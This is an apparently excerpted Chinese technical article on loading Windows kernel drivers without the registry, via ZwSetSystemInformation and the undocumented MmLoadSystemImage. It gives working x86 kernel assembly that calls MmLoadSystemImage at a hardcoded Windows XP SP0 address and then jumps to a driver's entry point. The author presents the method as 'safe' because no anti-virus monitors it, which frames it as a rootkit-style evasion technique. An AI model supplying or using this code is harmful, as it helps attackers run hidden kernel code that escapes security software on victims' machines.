第二种方法如下:
一般情况下win2000启动后会开始加载特别的驱动win2k.sys。然而它并不是以其他驱动那样调用函数ZwLoadDriver, NtLoadDriver等。
事实上它是通过内核API函数ZwSetSystemInformation载入的。
该API通常用来设置类似文件分卷等系统信息,以及加载上面提到的驱动,文件缓存等等。
该函数调用方法如下:
ZwSetSystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
//识别操作指令
IN PVOID SystemInformation, //识别操作数
IN ULONG SystemInformationLength ) //识别数据长度
其内部调用方法如下:
Switch (SystemInformationClass)
Case 0:
Case 1:
.
.
.
Case 5: ;this actually extends the system service descrīptor table
.
.
.
MmLoadSystemImage(SystemInforMation,NULL,NULL,TRUE,imagehandle,baseaddress);
call entrypoint(driverobject,NULL) ;
break ;
case 6:
.
.
.
.
.
上述的两种方法是我们现在已知的两种加载驱动的方式。
下面是第三种方式(针对该方法目前没有防毒措施对其进行监控因此它将是安全的)
像上面所讲的那样,ZwSetSystemInfomation加载镜像函数从而将驱动载入内存然后调用它的入口点。
现在我们将具体地分析MmLoadSystemImage函数的参数。
MmLoadSystemImage(UNICODE STRING Imagepath, UNICODE STRING prefix optional,UNICODE STRING basename optional,
ULONG unknown=0,PVOID imagehandle,PVOID baseaddress);
ImagePath:windows下的路径
prefix :用在载入驱动的路径名前
basename:系统在加载组件后显示的名称
unknown:未知
*imagehandle:段指针(这是已经被提交的)
*baseaddress:镜像载入内核内存后的地址
该函数实际上就是扮演着加载镜像入驱动,解决导入等的一些问题的角色。
在对windows平台下进行调试的过程中,你可以找出使用d MmLoadSystemImage字段函数的地址。
注意:MmLoadSystemimage在将镜像载入内存后会继续内部调用和检查镜像,所以我们必须保证检查后的结果是正确的。这个过程由MiCheckSystemImage实现。实现导入工作以及加载附属的则是依靠函数MiResolveImageReferences来完成。
函数MmloadSystemimage按照如下流程工作:
1)扫描存在的组件清单以确保它已经被载入
2) 如果镜像已经存在,则返回错误,提示镜像已经存在
3)尝试使用函数Zwopenfile打开文件,如果文件不能被打开,则返回错误代码
4)计算镜像的检查结果并将其与储存在头文件里的结果进行比较
5)如果不相符则返回错误
6)使用函数Zwcreatesection建立一个段然后将其作为参考
7)使用函数mMapViewInSystemSpace给其指定内核空间
8)在必要的时候使用LdrRelocateImage对镜像进行重定向
9) 调用用函数MiResolveImageReferences对镜像参考
10)为组件建立已加载组件清单
11)给其加上写保护
12) 关闭文件指针
13)返回
现在我们有了一个加载镜像的函数,但是调用驱动的入口问题却没有解决。我们可以从载入镜像后的PE头文件自身那里找到相关信息。这个方法可以用来直接在内核中加载和执行驱动,本地应用程序等。
下面给出的是内核下的汇编代码。在windowsXP SP0 英文版下测试通过。在理论上也可以在win2000,xp,2003下执行。
__asm {
;下面的代码将驱动载入内存
loaddriver:
mov dword [Stack],esp //save stack
;paramters as always are passed in reverse
push DWORD Driverbase ;存储驱动基址
push DWORD ImageHandle ;存储段指针
push dword 0
push dword 0
push dword 0
push DWORD U_STRINGloc ;指向一个unicode字串 ,包括将要加载的驱动
mov edi, 0x805c03ae ;MmLoadSystemImage 函数的地址,在Win XP SP0英文版下随着操作系统版本不同这一地址将发生变化
call edi
cmp eax,0 ;检查驱动是否成功载入内存
jne drivernotloaded ; 如果失败,则直接退出
;驱动载入后 调用其内置函数,所有参数置零
mov DWORD edi, [Driverbase]
mov DWORD ebx ,[edi + 0x3c] ;获取optional header的偏移量
mov dword ebx,[edi + ebx + 0x18 + 0x10] ; 从代码基址中获取入口地址的偏移量
add edi ,ebx ; 将基址和偏移量相加,得到入口点内存中的物理地址
push 0 ;
push 0
call edi ;call entry point (驱动入口点,驱动不同入口点将有变化)
drivernotloaded:
mov dword esp,[ Stack] ; 纠正堆栈使得可以继续执行
ret
; 下面是各种所需的代码数据
; 下面是将要加载的驱动的路径
;DosDevices@:hooka.sys length 48
db 0x5c,0x00,0x44,0x00,0x6f,0x00,0x73,0x00,0x44,0x00,0x65,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x5c,0x00
db 0x42,0x00,0x3a,0x00,0x5c,0x00,0x68,0x00,0x6f,0x00,0x6f,0x00,0x6b,0x00,0x61,0x00,0x2e,0x00,0x73,0x00,0x79,0x00,0x73,0x00,0x00,0x00
;储存驱动基址
Driverbase:
dd 0
;储存段指针
ImageHandle:
dd 0;
;储存堆栈地址
Stack:
dd 0
;在内存中构建 unicode字串
struc U_STRING
Length: resw 1
MaximumLength: resw 1
Buffer: resd 1
endstruc
}
//汇编结束
注意:这些API函数并不是由windows操作系统的内核导出的,但他们确实有内核方面的用途。这些函数并没有被任何反病毒软件监控,所以它们可以用来加载驱动或者本地应用程序然后运行。
这就是我们所说的在内核模式下不通过注册表加载驱动的方式,当然,这些代码可能存在一些错误,但是目前为止还没有发现硬件上的错误